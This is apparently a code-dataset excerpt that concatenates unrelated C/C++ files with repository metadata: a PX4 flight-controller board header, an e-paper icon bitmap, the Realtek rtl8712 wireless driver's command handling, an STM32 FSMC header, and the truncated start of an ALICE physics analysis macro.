#define GPIO_ULTRASOUND_ECHO /* PTA10 */ (GPIO_PULLUP | PIN_INT_BOTH | PIN_PORTA | PIN10)
/* Power supply control and monitoring GPIOs */
// None
#define GPIO_PERIPH_3V3_EN 0
/* Tone alarm output PTA11 - TMP 2_CH1 is On +P12-4, -P12-5
* It is driving a NPN
*/
#define TONE_ALARM_TIMER 2 /* timer */
#define TONE_ALARM_CHANNEL 1 /* channel */
#define GPIO_TONE_ALARM_IDLE (GPIO_LOWDRIVE | GPIO_OUTPUT_ZERO | PIN_PORTA | PIN11)
#define GPIO_TONE_ALARM (PIN_TPM2_CH1_1)
/* USB
*
* VBUS detection is on 29 ADC_DPM0 and PTE8
*/
#define GPIO_USB_VBUS_VALID /* PTE8 */ (GPIO_PULLUP | PIN_PORTE | PIN8)
/* PWM input driver. Use FMU PWM14 pin
* todo:desing this
*/
#define PWMIN_TIMER 0
#define PWMIN_TIMER_CHANNEL 2
#define GPIO_PWM_IN GPIO_FTM0_CH2IN
/* Define True logic Power Control in arch agnostic form */
#define VDD_ETH_EN(on_true) px4_arch_gpiowrite(nGPIO_ETHERNET_P_EN, !(on_true))
// Do not have #define VDD_5V_PERIPH_EN(on_true) px4_arch_gpiowrite(GPIO_nVDD_5V_PERIPH_EN, !(on_true))
// Do not have #define VDD_5V_HIPOWER_EN(on_true) px4_arch_gpiowrite(GPIO_nVDD_5V_HIPOWER_EN, !(on_true))
#define VDD_3V3_SENSORS_EN(on_true) px4_arch_gpiowrite(GPIO_SENSOR_P_EN, (on_true))
#define VDD_3V3_SPEKTRUM_POWER_EN(on_true) px4_arch_gpiowrite(GPIO_SPEKTRUM_P_EN, !(on_true))
#define READ_VDD_3V3_SPEKTRUM_POWER_EN() px4_arch_gpioread(GPIO_SPEKTRUM_P_EN)
// Do not have #define VDD_5V_RC_EN(on_true) px4_arch_gpiowrite(GPIO_VDD_5V_RC_EN, (on_true))
// Do not have #define VDD_5V_WIFI_EN(on_true) px4_arch_gpiowrite(GPIO_VDD_5V_WIFI_EN, (on_true))
#define VDD_3V3_SD_CARD_EN(on_true) px4_arch_gpiowrite(nVDD_3V3_SD_CARD_EN, !(on_true))
/* Map to control term used in RC lib */
#define SPEKTRUM_POWER(on_true) VDD_3V3_SPEKTRUM_POWER_EN((on_true))
/*
* By Providing BOARD_ADC_USB_CONNECTED (using the px4_arch abstraction)
* this board support the ADC system_power interface, and therefore
* provides the true logic GPIO BOARD_ADC_xxxx macros.
*/
#define BOARD_ADC_USB_CONNECTED (px4_arch_gpioread(GPIO_USB_VBUS_VALID))
#define BOARD_ADC_BRICK_VALID (1)
#define BOARD_ADC_SERVO_VALID (1)
#define BOARD_ADC_PERIPH_5V_OC (0)
#define BOARD_ADC_HIPOWER_5V_OC (0)
#define BOARD_HAS_LED_PWM 1
#define LED_TIM3_CH1OUT /* PTD1 RGB_R */ PIN_FTM3_CH1_1
#define LED_TIM3_CH5OUT /* PTC9 RGB_G */ PIN_FTM3_CH5_1
#define LED_TIM3_CH4OUT /* PTC8 RGB_B */ PIN_FTM3_CH4_1
/* This board provides a DMA pool and APIs */
#define BOARD_DMA_ALLOC_POOL_SIZE 2048
/* This board provides the board_on_reset interface */
#define BOARD_HAS_ON_RESET 1
#define PX4_GPIO_INIT_LIST { \
GPIO_LED_R, \
GPIO_LED_G, \
GPIO_LED_B, \
GPIO_SENSOR_P_EN, \
nVDD_3V3_SD_CARD_EN, \
nGPIO_ETHERNET_P_EN, \
GPIO_SPEKTRUM_P_EN, \
SE050_ENA, \
SE050_RST_N, \
PX4_ADC_GPIO, \
GPIO_USB_VBUS_VALID, \
GPIO_ENET_RST, \
GPIO_ENET_EN, \
GPIO_ENET_INH, \
PIN_CAN0_RX, \
PIN_CAN0_TX, \
PIN_CAN1_RX, \
PIN_CAN1_TX, \
GPIO_CAN0_STB, \
GPIO_CAN1_STB, \
GPIO_BTN_SAFETY, \
GPIO_TONE_ALARM_IDLE, \
GPIO_NFC_IO, \
GPIO_LED_1, \
GPIO_LED_2 \
}
/* Automounter */
#define HAVE_MMCSD 1
#define HAVE_AUTOMOUNTER 1
#if !defined(CONFIG_FS_AUTOMOUNTER) || !defined(HAVE_MMCSD)
# undef HAVE_AUTOMOUNTER
# undef CONFIG_FMUK66_SDHC_AUTOMOUNT
#endif
#ifndef CONFIG_FMUK66_SDHC_AUTOMOUNT
# undef HAVE_AUTOMOUNTER
#endif
/* Automounter defaults */
#ifdef HAVE_AUTOMOUNTER
# ifndef CONFIG_FMUK66_SDHC_AUTOMOUNT_FSTYPE
# define CONFIG_FMUK66_SDHC_AUTOMOUNT_FSTYPE "vfat"
# endif
# ifndef CONFIG_FMUK66_SDHC_AUTOMOUNT_BLKDEV
# define CONFIG_FMUK66_SDHC_AUTOMOUNT_BLKDEV "/dev/mmcds0"
# endif
# ifndef CONFIG_FMUK66_SDHC_AUTOMOUNT_MOUNTPOINT
# define CONFIG_FMUK66_SDHC_AUTOMOUNT_MOUNTPOINT "/mnt/sdcard"
# endif
# ifndef CONFIG_FMUK66_SDHC_AUTOMOUNT_DDELAY
# define CONFIG_FMUK66_SDHC_AUTOMOUNT_DDELAY 1000
# endif
# ifndef CONFIG_FMUK66_SDHC_AUTOMOUNT_UDELAY
# define CONFIG_FMUK66_SDHC_AUTOMOUNT_UDELAY 2000
# endif
#endif /* HAVE_AUTOMOUNTER */
#define BOARD_HAS_NOISY_FXOS8700_MAG 1 // Disable internal MAG
#define BOARD_NUM_IO_TIMERS 3
/************************************************************************************
* Public data
************************************************************************************/
__BEGIN_DECLS
#ifndef __ASSEMBLY__
/************************************************************************************
* Public Functions
************************************************************************************/
/************************************************************************************
* Name: fmuk66_spidev_initialize
*
* Description:
* Called to configure SPI chip select GPIO pins for the NXP FMUK66-E board.
*
************************************************************************************/
void fmuk66_spidev_initialize(void);
/************************************************************************************
* Name: fmuk66_spi_bus_initialize
*
* Description:
* Called to configure SPI Buses.
*
************************************************************************************/
int fmuk66_spi_bus_initialize(void);
/****************************************************************************************************
* Name: board_spi_reset board_peripheral_reset
*
* Description:
* Called to reset SPI and the perferal bus
*
****************************************************************************************************/
void board_peripheral_reset(int ms);
/************************************************************************************
* Name: fmuk66_bringup
*
* Description:
* Bring up board features
*
************************************************************************************/
#if defined(CONFIG_BOARDCTL) || defined(CONFIG_BOARD_INITIALIZE)
int fmuk66_bringup(void);
#endif
/****************************************************************************
* Name: fmuk66_sdhc_initialize
*
* Description:
* Inititialize the SDHC SD card slot
*
****************************************************************************/
int fmuk66_sdhc_initialize(void);
/************************************************************************************
* Name: fmuk66_cardinserted
*
* Description:
* Check if a card is inserted into the SDHC slot
*
************************************************************************************/
#ifdef HAVE_AUTOMOUNTER
bool fmuk66_cardinserted(void);
#else
# define fmuk66_cardinserted() (false)
#endif
/************************************************************************************
* Name: fmuk66_writeprotected
*
* Description:
* Check if the card in the MMC/SD slot is write protected
*
************************************************************************************/
#ifdef HAVE_AUTOMOUNTER
bool fmuk66_writeprotected(void);
#else
# define fmuk66_writeprotected() (false)
#endif
/************************************************************************************
* Name: fmuk66_automount_initialize
*
* Description:
* Configure auto-mounter for the configured SDHC slot
*
* Input Parameters:
* None
*
* Returned Value:
* None
*
************************************************************************************/
#ifdef HAVE_AUTOMOUNTER
void fmuk66_automount_initialize(void);
#endif
/************************************************************************************
* Name: fmuk66_automount_event
*
* Description:
* The SDHC card detection logic has detected an insertion or removal event. It
* has already scheduled the MMC/SD block driver operations. Now we need to
* schedule the auto-mount event which will occur with a substantial delay to make
* sure that everything has settle down.
*
* Input Parameters:
* inserted - True if the card is inserted in the slot. False otherwise.
*
* Returned Value:
* None
*
* Assumptions:
* Interrupts are disabled.
*
************************************************************************************/
#ifdef HAVE_AUTOMOUNTER
void fmuk66_automount_event(bool inserted);
#endif
/************************************************************************************
* Name: fmuk66_timer_initialize
*
* Description:
* Called to configure the FTM to provide 1 Mhz
*
************************************************************************************/
void fmuk66_timer_initialize(void);
#include <px4_platform_common/board_common.h>
#endif /* __ASSEMBLY__ */
__END_DECLS
|
973a717e9eaaf6bf08422a3a144c14ed2a1d0535
|
ed4e5caeb2b5c8f0aa68dbdb1fae5a4556d5b10f
|
/lib/GxEPD/src/imglib/gridicons_institution.h
|
7a8a938127ec61cadb2509b0f374be04cfc74c1d
|
[
"MIT",
"GPL-3.0-only"
] |
permissive
|
Xinyuan-LilyGO/T5-Ink-Screen-Series
|
4d8fb8d98c981faf5efdcb414fa9cb0e66a61eb2
|
fba4a4afd316b7e014c2080b6f6a5bed9c672b59
|
refs/heads/master
| 2021-12-21T22:32:53.789295
| 2021-03-26T00:58:24
| 2021-03-26T00:58:24
| 168,290,783
| 148
| 45
|
MIT
| 2021-12-18T09:37:20
| 2019-01-30T06:24:14
|
C
|
UTF-8
|
C
| false
| false
| 668
|
h
|
gridicons_institution.h
|
#if defined(ESP8266) || defined(ESP32)
#include <pgmspace.h>
#else
#include <avr/pgmspace.h>
#endif
// 24 x 24 gridicons_institution
const unsigned char gridicons_institution[] PROGMEM = { /* 0X01,0X01,0XB4,0X00,0X40,0X00, */
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE7,
0xFF, 0xFF, 0x00, 0xFF, 0xFC, 0x00, 0x3F, 0xE0,
0x00, 0x07, 0xC0, 0x00, 0x03, 0xC0, 0x00, 0x03,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF1, 0xC3,
0x8F, 0xF1, 0xE7, 0x8F, 0xF1, 0xC3, 0x8F, 0xF1,
0xE7, 0x8F, 0xF1, 0xC3, 0x8F, 0xF1, 0xE7, 0x8F,
0xF1, 0xC3, 0x8F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xC0, 0x00, 0x03, 0xC0, 0x00, 0x03, 0xC0,
0x00, 0x03, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
};
|
284464935f619c52c5b89389e4bec917570f35a6
|
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
|
/SOFTWARE/A64-TERES/linux-a64/drivers/staging/rtl8712/rtl8712_cmd.c
|
088647cdca9953cd47783c4ac41cdbfed9cac512
|
[
"Linux-syscall-note",
"GPL-2.0-only",
"GPL-1.0-or-later",
"LicenseRef-scancode-free-unknown",
"Apache-2.0"
] |
permissive
|
OLIMEX/DIY-LAPTOP
|
ae82f4ee79c641d9aee444db9a75f3f6709afa92
|
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
|
refs/heads/rel3
| 2023-08-04T01:54:19.483792
| 2023-04-03T07:18:12
| 2023-04-03T07:18:12
| 80,094,055
| 507
| 92
|
Apache-2.0
| 2023-04-03T07:05:59
| 2017-01-26T07:25:50
|
C
|
UTF-8
|
C
| false
| false
| 13,991
|
c
|
rtl8712_cmd.c
|
/******************************************************************************
* rtl8712_cmd.c
*
* Copyright(c) 2007 - 2010 Realtek Corporation. All rights reserved.
* Linux device driver for RTL8192SU
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of version 2 of the GNU General Public License as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110, USA
*
* Modifications for inclusion into the Linux staging tree are
* Copyright(c) 2010 Larry Finger. All rights reserved.
*
* Contact information:
* WLAN FAE <wlanfae@realtek.com>.
* Larry Finger <Larry.Finger@lwfinger.net>
*
******************************************************************************/
#define _RTL8712_CMD_C_
#include <linux/compiler.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/module.h>
#include <linux/kref.h>
#include <linux/netdevice.h>
#include <linux/skbuff.h>
#include <linux/usb.h>
#include <linux/usb/ch9.h>
#include <linux/circ_buf.h>
#include <linux/uaccess.h>
#include <asm/byteorder.h>
#include <linux/atomic.h>
#include <linux/semaphore.h>
#include <linux/rtnetlink.h>
#include "osdep_service.h"
#include "drv_types.h"
#include "recv_osdep.h"
#include "mlme_osdep.h"
#include "rtl871x_ioctl_set.h"
static void check_hw_pbc(struct _adapter *padapter)
{
u8 tmp1byte;
r8712_write8(padapter, MAC_PINMUX_CTRL, (GPIOMUX_EN | GPIOSEL_GPIO));
tmp1byte = r8712_read8(padapter, GPIO_IO_SEL);
tmp1byte &= ~(HAL_8192S_HW_GPIO_WPS_BIT);
r8712_write8(padapter, GPIO_IO_SEL, tmp1byte);
tmp1byte = r8712_read8(padapter, GPIO_CTRL);
if (tmp1byte == 0xff)
return ;
if (tmp1byte&HAL_8192S_HW_GPIO_WPS_BIT) {
/* Here we only set bPbcPressed to true
* After trigger PBC, the variable will be set to false */
DBG_8712("CheckPbcGPIO - PBC is pressed !!!!\n");
/* 0 is the default value and it means the application monitors
* the HW PBC doesn't provide its pid to driver. */
if (padapter->pid == 0)
return;
kill_pid(find_vpid(padapter->pid), SIGUSR1, 1);
}
}
/* query rx phy status from fw.
* Adhoc mode: beacon.
* Infrastructure mode: beacon , data. */
static void query_fw_rx_phy_status(struct _adapter *padapter)
{
u32 val32 = 0;
int pollingcnts = 50;
if (check_fwstate(&padapter->mlmepriv, _FW_LINKED) == true) {
r8712_write32(padapter, IOCMD_CTRL_REG, 0xf4000001);
msleep(100);
/* Wait FW complete IO Cmd */
while ((r8712_read32(padapter, IOCMD_CTRL_REG)) &&
(pollingcnts > 0)) {
pollingcnts--;
msleep(20);
}
if (pollingcnts != 0)
val32 = r8712_read32(padapter, IOCMD_DATA_REG);
else /* time out */
val32 = 0;
val32 = val32 >> 4;
padapter->recvpriv.fw_rssi =
(u8)r8712_signal_scale_mapping(val32);
}
}
/* check mlme, hw, phy, or dynamic algorithm status. */
static void StatusWatchdogCallback(struct _adapter *padapter)
{
check_hw_pbc(padapter);
query_fw_rx_phy_status(padapter);
}
static void r871x_internal_cmd_hdl(struct _adapter *padapter, u8 *pbuf)
{
struct drvint_cmd_parm *pdrvcmd;
if (!pbuf)
return;
pdrvcmd = (struct drvint_cmd_parm *)pbuf;
switch (pdrvcmd->i_cid) {
case WDG_WK_CID:
StatusWatchdogCallback(padapter);
break;
default:
break;
}
kfree(pdrvcmd->pbuf);
}
static u8 read_macreg_hdl(struct _adapter *padapter, u8 *pbuf)
{
void (*pcmd_callback)(struct _adapter *dev, struct cmd_obj *pcmd);
struct cmd_obj *pcmd = (struct cmd_obj *)pbuf;
/* invoke cmd->callback function */
pcmd_callback = cmd_callback[pcmd->cmdcode].callback;
if (pcmd_callback == NULL)
r8712_free_cmd_obj(pcmd);
else
pcmd_callback(padapter, pcmd);
return H2C_SUCCESS;
}
static u8 write_macreg_hdl(struct _adapter *padapter, u8 *pbuf)
{
void (*pcmd_callback)(struct _adapter *dev, struct cmd_obj *pcmd);
struct cmd_obj *pcmd = (struct cmd_obj *)pbuf;
/* invoke cmd->callback function */
pcmd_callback = cmd_callback[pcmd->cmdcode].callback;
if (pcmd_callback == NULL)
r8712_free_cmd_obj(pcmd);
else
pcmd_callback(padapter, pcmd);
return H2C_SUCCESS;
}
static u8 read_bbreg_hdl(struct _adapter *padapter, u8 *pbuf)
{
u32 val;
void (*pcmd_callback)(struct _adapter *dev, struct cmd_obj *pcmd);
struct readBB_parm *prdbbparm;
struct cmd_obj *pcmd = (struct cmd_obj *)pbuf;
prdbbparm = (struct readBB_parm *)pcmd->parmbuf;
if (pcmd->rsp && pcmd->rspsz > 0)
memcpy(pcmd->rsp, (u8 *)&val, pcmd->rspsz);
pcmd_callback = cmd_callback[pcmd->cmdcode].callback;
if (pcmd_callback == NULL)
r8712_free_cmd_obj(pcmd);
else
pcmd_callback(padapter, pcmd);
return H2C_SUCCESS;
}
static u8 write_bbreg_hdl(struct _adapter *padapter, u8 *pbuf)
{
void (*pcmd_callback)(struct _adapter *dev, struct cmd_obj *pcmd);
struct writeBB_parm *pwritebbparm;
struct cmd_obj *pcmd = (struct cmd_obj *)pbuf;
pwritebbparm = (struct writeBB_parm *)pcmd->parmbuf;
pcmd_callback = cmd_callback[pcmd->cmdcode].callback;
if (pcmd_callback == NULL)
r8712_free_cmd_obj(pcmd);
else
pcmd_callback(padapter, pcmd);
return H2C_SUCCESS;
}
static u8 read_rfreg_hdl(struct _adapter *padapter, u8 *pbuf)
{
u32 val;
void (*pcmd_callback)(struct _adapter *dev, struct cmd_obj *pcmd);
struct readRF_parm *prdrfparm;
struct cmd_obj *pcmd = (struct cmd_obj *)pbuf;
prdrfparm = (struct readRF_parm *)pcmd->parmbuf;
if (pcmd->rsp && pcmd->rspsz > 0)
memcpy(pcmd->rsp, (u8 *)&val, pcmd->rspsz);
pcmd_callback = cmd_callback[pcmd->cmdcode].callback;
if (pcmd_callback == NULL)
r8712_free_cmd_obj(pcmd);
else
pcmd_callback(padapter, pcmd);
return H2C_SUCCESS;
}
static u8 write_rfreg_hdl(struct _adapter *padapter, u8 *pbuf)
{
void (*pcmd_callback)(struct _adapter *dev, struct cmd_obj *pcmd);
struct writeRF_parm *pwriterfparm;
struct cmd_obj *pcmd = (struct cmd_obj *)pbuf;
pwriterfparm = (struct writeRF_parm *)pcmd->parmbuf;
pcmd_callback = cmd_callback[pcmd->cmdcode].callback;
if (pcmd_callback == NULL)
r8712_free_cmd_obj(pcmd);
else
pcmd_callback(padapter, pcmd);
return H2C_SUCCESS;
}
static u8 sys_suspend_hdl(struct _adapter *padapter, u8 *pbuf)
{
struct cmd_obj *pcmd = (struct cmd_obj *)pbuf;
struct usb_suspend_parm *psetusbsuspend;
psetusbsuspend = (struct usb_suspend_parm *)pcmd->parmbuf;
r8712_free_cmd_obj(pcmd);
return H2C_SUCCESS;
}
static struct cmd_obj *cmd_hdl_filter(struct _adapter *padapter,
struct cmd_obj *pcmd)
{
struct cmd_obj *pcmd_r;
if (pcmd == NULL)
return pcmd;
pcmd_r = NULL;
switch (pcmd->cmdcode) {
case GEN_CMD_CODE(_Read_MACREG):
read_macreg_hdl(padapter, (u8 *)pcmd);
pcmd_r = pcmd;
break;
case GEN_CMD_CODE(_Write_MACREG):
write_macreg_hdl(padapter, (u8 *)pcmd);
pcmd_r = pcmd;
break;
case GEN_CMD_CODE(_Read_BBREG):
read_bbreg_hdl(padapter, (u8 *)pcmd);
break;
case GEN_CMD_CODE(_Write_BBREG):
write_bbreg_hdl(padapter, (u8 *)pcmd);
break;
case GEN_CMD_CODE(_Read_RFREG):
read_rfreg_hdl(padapter, (u8 *)pcmd);
break;
case GEN_CMD_CODE(_Write_RFREG):
write_rfreg_hdl(padapter, (u8 *)pcmd);
break;
case GEN_CMD_CODE(_SetUsbSuspend):
sys_suspend_hdl(padapter, (u8 *)pcmd);
break;
case GEN_CMD_CODE(_JoinBss):
r8712_joinbss_reset(padapter);
/* Before set JoinBss_CMD to FW, driver must ensure FW is in
* PS_MODE_ACTIVE. Directly write rpwm to radio on and assign
* new pwr_mode to Driver, instead of use workitem to change
* state. */
if (padapter->pwrctrlpriv.pwr_mode > PS_MODE_ACTIVE) {
padapter->pwrctrlpriv.pwr_mode = PS_MODE_ACTIVE;
_enter_pwrlock(&(padapter->pwrctrlpriv.lock));
r8712_set_rpwm(padapter, PS_STATE_S4);
up(&(padapter->pwrctrlpriv.lock));
}
pcmd_r = pcmd;
break;
case _DRV_INT_CMD_:
r871x_internal_cmd_hdl(padapter, pcmd->parmbuf);
r8712_free_cmd_obj(pcmd);
pcmd_r = NULL;
break;
default:
pcmd_r = pcmd;
break;
}
return pcmd_r; /* if returning pcmd_r == NULL, pcmd must be free. */
}
static u8 check_cmd_fifo(struct _adapter *padapter, uint sz)
{
u8 res = _SUCCESS;
return res;
}
u8 r8712_fw_cmd(struct _adapter *pAdapter, u32 cmd)
{
int pollingcnts = 50;
r8712_write32(pAdapter, IOCMD_CTRL_REG, cmd);
msleep(100);
while ((0 != r8712_read32(pAdapter, IOCMD_CTRL_REG)) &&
(pollingcnts > 0)) {
pollingcnts--;
msleep(20);
}
if (pollingcnts == 0)
return false;
return true;
}
void r8712_fw_cmd_data(struct _adapter *pAdapter, u32 *value, u8 flag)
{
if (flag == 0) /* set */
r8712_write32(pAdapter, IOCMD_DATA_REG, *value);
else /* query */
*value = r8712_read32(pAdapter, IOCMD_DATA_REG);
}
int r8712_cmd_thread(void *context)
{
struct cmd_obj *pcmd;
unsigned int cmdsz, wr_sz, *pcmdbuf, *prspbuf;
struct tx_desc *pdesc;
void (*pcmd_callback)(struct _adapter *dev, struct cmd_obj *pcmd);
struct _adapter *padapter = (struct _adapter *)context;
struct cmd_priv *pcmdpriv = &(padapter->cmdpriv);
thread_enter(padapter);
while (1) {
if ((_down_sema(&(pcmdpriv->cmd_queue_sema))) == _FAIL)
break;
if ((padapter->bDriverStopped == true) ||
(padapter->bSurpriseRemoved == true))
break;
if (r8712_register_cmd_alive(padapter) != _SUCCESS)
continue;
_next:
pcmd = r8712_dequeue_cmd(&(pcmdpriv->cmd_queue));
if (!(pcmd)) {
r8712_unregister_cmd_alive(padapter);
continue;
}
pcmdbuf = (unsigned int *)pcmdpriv->cmd_buf;
prspbuf = (unsigned int *)pcmdpriv->rsp_buf;
pdesc = (struct tx_desc *)pcmdbuf;
memset(pdesc, 0, TXDESC_SIZE);
pcmd = cmd_hdl_filter(padapter, pcmd);
if (pcmd) { /* if pcmd != NULL, cmd will be handled by f/w */
struct dvobj_priv *pdvobj = (struct dvobj_priv *)
&padapter->dvobjpriv;
u8 blnPending = 0;
pcmdpriv->cmd_issued_cnt++;
cmdsz = _RND8((pcmd->cmdsz)); /* _RND8 */
wr_sz = TXDESC_SIZE + 8 + cmdsz;
pdesc->txdw0 |= cpu_to_le32((wr_sz-TXDESC_SIZE) &
0x0000ffff);
if (pdvobj->ishighspeed) {
if ((wr_sz % 512) == 0)
blnPending = 1;
} else {
if ((wr_sz % 64) == 0)
blnPending = 1;
}
if (blnPending) /* 32 bytes for TX Desc - 8 offset */
pdesc->txdw0 |= cpu_to_le32(((TXDESC_SIZE +
OFFSET_SZ + 8) << OFFSET_SHT) &
0x00ff0000);
else {
pdesc->txdw0 |= cpu_to_le32(((TXDESC_SIZE +
OFFSET_SZ) <<
OFFSET_SHT) &
0x00ff0000);
}
pdesc->txdw0 |= cpu_to_le32(OWN | FSG | LSG);
pdesc->txdw1 |= cpu_to_le32((0x13 << QSEL_SHT) &
0x00001f00);
pcmdbuf += (TXDESC_SIZE >> 2);
*pcmdbuf = cpu_to_le32((cmdsz & 0x0000ffff) |
(pcmd->cmdcode << 16) |
(pcmdpriv->cmd_seq << 24));
pcmdbuf += 2 ; /* 8 bytes alignment */
memcpy((u8 *)pcmdbuf, pcmd->parmbuf, pcmd->cmdsz);
while (check_cmd_fifo(padapter, wr_sz) == _FAIL) {
if ((padapter->bDriverStopped == true) ||
(padapter->bSurpriseRemoved == true))
break;
msleep(100);
continue;
}
if (blnPending)
wr_sz += 8; /* Append 8 bytes */
r8712_write_mem(padapter, RTL8712_DMA_H2CCMD, wr_sz,
(u8 *)pdesc);
pcmdpriv->cmd_seq++;
if (pcmd->cmdcode == GEN_CMD_CODE(_CreateBss)) {
pcmd->res = H2C_SUCCESS;
pcmd_callback = cmd_callback[pcmd->
cmdcode].callback;
if (pcmd_callback)
pcmd_callback(padapter, pcmd);
continue;
}
if (pcmd->cmdcode == GEN_CMD_CODE(_SetPwrMode)) {
if (padapter->pwrctrlpriv.bSleep) {
_enter_pwrlock(&(padapter->
pwrctrlpriv.lock));
r8712_set_rpwm(padapter, PS_STATE_S2);
up(&padapter->pwrctrlpriv.lock);
}
}
r8712_free_cmd_obj(pcmd);
if (_queue_empty(&(pcmdpriv->cmd_queue))) {
r8712_unregister_cmd_alive(padapter);
continue;
} else
goto _next;
} else
goto _next;
flush_signals_thread();
}
/* free all cmd_obj resources */
do {
pcmd = r8712_dequeue_cmd(&(pcmdpriv->cmd_queue));
if (pcmd == NULL)
break;
r8712_free_cmd_obj(pcmd);
} while (1);
up(&pcmdpriv->terminate_cmdthread_sema);
thread_exit();
}
void r8712_event_handle(struct _adapter *padapter, uint *peventbuf)
{
u8 evt_code, evt_seq;
u16 evt_sz;
void (*event_callback)(struct _adapter *dev, u8 *pbuf);
struct evt_priv *pevt_priv = &(padapter->evtpriv);
if (peventbuf == NULL)
goto _abort_event_;
evt_sz = (u16)(le32_to_cpu(*peventbuf) & 0xffff);
evt_seq = (u8)((le32_to_cpu(*peventbuf) >> 24) & 0x7f);
evt_code = (u8)((le32_to_cpu(*peventbuf) >> 16) & 0xff);
/* checking event sequence... */
if ((evt_seq & 0x7f) != pevt_priv->event_seq) {
pevt_priv->event_seq = ((evt_seq + 1) & 0x7f);
goto _abort_event_;
}
/* checking if event code is valid */
if (evt_code >= MAX_C2HEVT) {
pevt_priv->event_seq = ((evt_seq+1) & 0x7f);
goto _abort_event_;
} else if ((evt_code == GEN_EVT_CODE(_Survey)) &&
(evt_sz > sizeof(struct wlan_bssid_ex))) {
pevt_priv->event_seq = ((evt_seq+1)&0x7f);
goto _abort_event_;
}
/* checking if event size match the event parm size */
if ((wlanevents[evt_code].parmsize) &&
(wlanevents[evt_code].parmsize != evt_sz)) {
pevt_priv->event_seq = ((evt_seq+1)&0x7f);
goto _abort_event_;
} else if ((evt_sz == 0) && (evt_code != GEN_EVT_CODE(_WPS_PBC))) {
pevt_priv->event_seq = ((evt_seq+1)&0x7f);
goto _abort_event_;
}
pevt_priv->event_seq++; /* update evt_seq */
if (pevt_priv->event_seq > 127)
pevt_priv->event_seq = 0;
peventbuf = peventbuf + 2; /* move to event content, 8 bytes alignment */
if (peventbuf) {
event_callback = wlanevents[evt_code].event_callback;
if (event_callback)
event_callback(padapter, (u8 *)peventbuf);
}
pevt_priv->evt_done_cnt++;
_abort_event_:
return;
}
|
a6f54b59811959bf98031a22cf28af289f939c41
|
9823f12bbe144dae3c9decaba2bc38d3a2e94e90
|
/user/board/spark_f4/FSMCIO.h
|
f9342ba0d7c3a9755a5084b2b35ca519d9e11a42
|
[
"MIT"
] |
permissive
|
eboxmaker/eBox_Framework
|
e8512fe26ecd729df97fdf38c875567677954858
|
b6c19c526568ac68df3032295c46cbd26212e111
|
refs/heads/master
| 2023-08-15T10:41:53.584433
| 2023-07-23T04:10:52
| 2023-07-23T04:10:52
| 95,169,842
| 133
| 68
|
MIT
| 2020-10-31T01:02:41
| 2017-06-23T01:07:19
|
C
|
UTF-8
|
C
| false
| false
| 413
|
h
|
FSMCIO.h
|
#ifndef __FSMCIO_H__
#define __FSMCIO_H__
#include "stm32f4xx.h"
#ifdef __cplusplus
extern "C" {
#endif // __cplusplus
void fsmc_init_sram1_8bit();
void fsmc_init_sram1_16bit();
void fsmc_init_sram2_8bit();
void fsmc_init_sram2_16bit();
void fsmc_init_sram3_8bit();
void fsmc_init_sram3_16bit();
void fsmc_init_sram4_8bit();
void fsmc_init_sram4_16bit();
#ifdef __cplusplus
}
#endif // __cplusplus
#endif
|
12f764fcc4c66bccc5f2cde8d9d7e2fa7e5d11de
|
9de0cec678bc4a3bec2b4adabef9f39ff5b4afac
|
/PWGUD/multVScentPbPb/MyAnalysisMacroTrackletMulti.C
|
c6aa0f2c8b0d604c527c6cddafa73f1369f45b95
|
[] |
permissive
|
alisw/AliPhysics
|
91bf1bd01ab2af656a25ff10b25e618a63667d3e
|
5df28b2b415e78e81273b0d9bf5c1b99feda3348
|
refs/heads/master
| 2023-08-31T20:41:44.927176
| 2023-08-31T14:51:12
| 2023-08-31T14:51:12
| 61,661,378
| 129
| 1,150
|
BSD-3-Clause
| 2023-09-14T18:48:45
| 2016-06-21T19:31:29
|
C++
|
UTF-8
|
C
| false
| false
| 12,612
|
c
|
MyAnalysisMacroTrackletMulti.C
|
Bool_t needRecPoints = kFALSE;
void MyAnalysisMacroTrackletMulti
(TString dataset="/alice/sim/LHC10f8c_130844",
TString outFName = "trbg.root",
Int_t nEvents = -1,
Float_t etaMin =-0.5, // min eta range to fill in histos
Float_t etaMax = 0.5, // max eta range to fill in histos
Float_t zMin = -7, // process events with Z vertex min
Float_t zMax = 7, // max positions
const char* useCentVar = 0, // centrality variable to use
//
Float_t cutSigNStd = 1.5, // cut on weighed distance used to extract signal
Float_t cutSigDPhiS = -1, // cut on dPhi-phiBent used to extract signal (if negative -> dphi*sqrt(cutSigNStd)
Bool_t useMC = kTRUE, // fill MC info (doRec=kTRUE)
Float_t scaleMCV0 = 0.7520, // rescale MC V0 to match the data
//
Bool_t doRec = kTRUE, // fill data histos from new reco
Bool_t doInj = kTRUE, // create Inj. bg
Bool_t doRot = kFALSE, // create Rot. bg
Bool_t doMix = kFALSE,//kTRUE, // create Mix. bg
//
// specific parameters for reconstruction
float phiRot = 3.14159e+00, // angle for bg. generation with rotation
float injScale = 1.,//0.7, // inject injScale*Ncl(Lr1/Lr2) hits
Bool_t scaleDTheta = kTRUE, // scale dTheta by 1/sin^2(theta) in trackleting
float nStdDev = 25., // number of st.dev. for tracklet cut to keep
float dphi = 0.06, // dphi window (sigma of tracklet cut)
float dtht = 0.025, // dtheta .... (if negative, abs will be used with additional cut on |dthetaX|, apart from w.distance
float phishift = 0.0045, // bending shift
Bool_t remOvl = kTRUE,
float ovlPhiCut = 0.005,
float ovlZetaCut = 0.05,
Int_t nEventsSkip = 0,
//----------------------- Ntracklets selection parameters important for mixing, to be tuned
Float_t ntMin = 1, // process events with ESDmult
Float_t ntMax = 20000, // within this range
Float_t ntMixBinSz = 20000, // ESDMult bin size for mixing
//----------------------- Zv selection parameters important for mixing, to be tuned
